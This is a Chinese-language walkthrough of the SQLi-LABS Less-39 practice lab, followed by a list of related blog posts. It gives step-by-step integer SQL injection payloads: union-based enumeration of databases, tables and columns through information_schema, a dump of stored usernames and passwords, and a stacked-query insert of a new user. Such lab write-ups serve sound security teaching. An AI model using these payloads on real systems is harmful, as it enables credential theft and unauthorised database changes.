第三十九关请求方式为GET请求 , 注入类型为 整形注入

第一步,判断注入类型

?id=2 and false -- a

SQL不成立时 , 不报错,并且无显示 , 说明拼接后的SQL可以正常执行 , 固 注入类型为 整形注入

源码如下

mysqli_multi_query() 可同时执行多条SQL语句 , 满足叠加注入的条件

第二步,判断字段数

使用 order by 测试字段数

?id=2 order by 4 -- a

从第1列开始排序 , 依次加1 , 至4列时报错 , 固 字段数为3

第三步,判断显示位置

联合查询测试字段显示的位置

?id=-1 union select 1,2,3 -- a

此处的 id=-1 , 由于用户id不为负,所以该SQL查询不出用户数据,返回的结果只有联合查询的 1 2 3 这一条数据 , 目的在于 方便结果的展示

第四步,获取所有数据库

查询information_schema默认数据库的schemata表的schema_name字段 , 该字段保存了所有的数据库名

?id=-1 union select 1,2,
(select group_concat(schema_name)
from information_schema.schemata)-- a

下一步 , 根据 security数据库 , 获取其所有表

第五步,获取所有表

查询information_schema默认数据库的schemata表的schema_name字段 , 该字段保存了所有的数据库名

?id=-1 union select 1,2,
(select group_concat(table_name)
from information_schema.tables
where table_schema='security')-- a

存储的 group_concat() 可以将多行结果合并为一行 , 目的在于更好的展示效果

users表为用户表 , 下一步根据 users表 获取其所有字段

第六步,获取所有字段

查询information_schema默认数据库的columns表的column_name字段 , 该字段保存了所有字段名

?id=-1 union select 1,2,
(select group_concat(column_name)
from information_schema.columns
where table_schema='security' and table_name='users')-- a

至此可知 , 数据库 security, 表 users, 字段 id,username,password , 下一步,根据此信息获取账号密码

第七步,获取账号密码

?id=-1 union select 1,2,
(select group_concat(username,'~',password)
from security.users)-- a

第八步,叠加注入

?id=1; insert into users(id,username,password)
values(20,'zhangsan','123')-- a

插入的成功与否 , 页面不会显示 , 我们直接通过id访问

SQLi LABS Less-39相关推荐

  1. SQLi LABS Less 27a 联合注入+布尔盲注+时间盲注

    第27a关是双引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.布尔盲注.时间盲注三种解题方式. 其他 SQLi LABS 靶场的解题步 ...

  2. SQLi LABS Less 27 联合注入+报错注入+布尔盲注+时间盲注

    第27关是单引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 其他 SQLi LABS 靶场 ...

  3. SQLi LABS Less 26a 联合注入+布尔盲注

    第26a关是单引号+括号的字符型注入: 后台过滤了关键字( and  or ),注释(/*  #  --  /),空格: 这篇文章提供联合注入.布尔盲注.两种解题方式. SQLi LABS其他关卡可以 ...

  4. SQLi LABS Less 25 联合注入+报错注入+布尔盲注

    第二十五关单引号字符型注入: 过滤了关键字(and.or),可以使用双写绕过: 这篇文章提供了联合注入.报错注入.布尔盲注三种解题方法. SQLi LABS 其余关卡可参考我的专栏:SQLi-LABS ...

  5. sqli——labs初学者通关详

    目录 Less-1 GET-Error based-Single quotes-String(基于错误的GET单引号字符型注入) Less-2 GET-Error based- Intiger bas ...

  6. SQLi LABS Less-8 布尔盲注

    「作者主页」:士别三日wyx 「作者简介」:CSDN top200.阿里云博客专家.华为云享专家.网络安全领域优质创作者 第八关是单引号字符型注入,推荐使用布尔盲注 方式一:布尔盲注 第一步.判断注入 ...

  7. SQLi LABS Less-31

    第31关的源码中并未对参数做过多的过滤,只是在参数两边拼接了双引号和括号 在url地址栏中输入 1") and true-- a,使SQL恒成立,页面正常显示 再输入 1") an ...

  8. SQLi LABS Less-30

    第30关使用GET请求传递参数,在url中构造payload即可 后端源码中并没有做什么过滤,只是在参数两边添加了双引号 输入 1" and true-- a,页面正常显示 输入 1&quo ...

  9. SQLi LABS Less-29

    第29关使用GET请求提交参数,在url中构造payload即可 源码中并没有做什么过滤,直接测试注入点即可 在url中输入 1'and true-- a,源码中的SQL会拼接成下面这样 注释后面的内 ...

  10. SQLi LABS Less-26 联合注入+报错注入+布尔盲注+时间盲注

    第26关是单引号字符型注入: 后台过滤了关键字( and  or ),注释(/*  #  --  /),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 目录 一.功能分析 二 ...

最新文章

  1. NumPy库入门教程:基础知识总结
  2. 获取父页面URL的参数对应值及左对齐字符串
  3. VTK:可编程滤波器用法实战
  4. Mysql报错时区错误invalid timezone
  5. HDU 6064 RXD and numbers
  6. python文件路径拼接多出斜杠_浅谈python中拼接路径os.path.join斜杠的问题
  7. 20-10-032-安装-KyLin-2.6.1-单机版安装(MAC官网下载)
  8. 新世相难看的吃相:昨天你交智商税了吗?
  9. ubuntu 怎么格式化U盘?(转载)
  10. 多家公司布局大数据基金 策略模型待检验
  11. 基于OpenCPU方案的BC26 NB模组开发总结
  12. Velodyne 16线三维激光雷达
  13. PTA---计算天数
  14. sqlserver 时间计算函数
  15. Matlab信道容量的迭代计算实验
  16. 开环控制系统与闭环控制系统
  17. 基于STM32cubemx的stm32f107vct6代码生成教程,实验一led闪烁
  18. el-talbe如何在打印的时候,每页都能有表头?
  19. 计算机组成原理sltu指令,计算机组成原理第二次作业题及答案.doc
  20. 国际青少年计算机技能大赛英语,竞赛:2017中学生英语能力、青少年信息学奥赛!...

热门文章

  1. C++ OI图论 学习笔记(初步完结)
  2. AR研究-Demo集
  3. 第三阶段 15_JavaWeb基础_JQuery的事件处理
  4. 【转】Linux 移动或重命名文件/目录-mv 的10个实用例子
  5. 【SAS】REG过程详解
  6. 用户登录程序--绘制--遍历窗口
  7. WPF and Silverlight 学习笔记(十九):WPF更换主题
  8. cocos2d-x调度器原理,mainloop的Update
  9. AndroidStudio安卓原生开发_Fragment_认识使用Fragment_创建_删除fragment---Android原生开发工作笔记116
  10. Element-UI-的登录页面_改进---Element-UI工作笔记006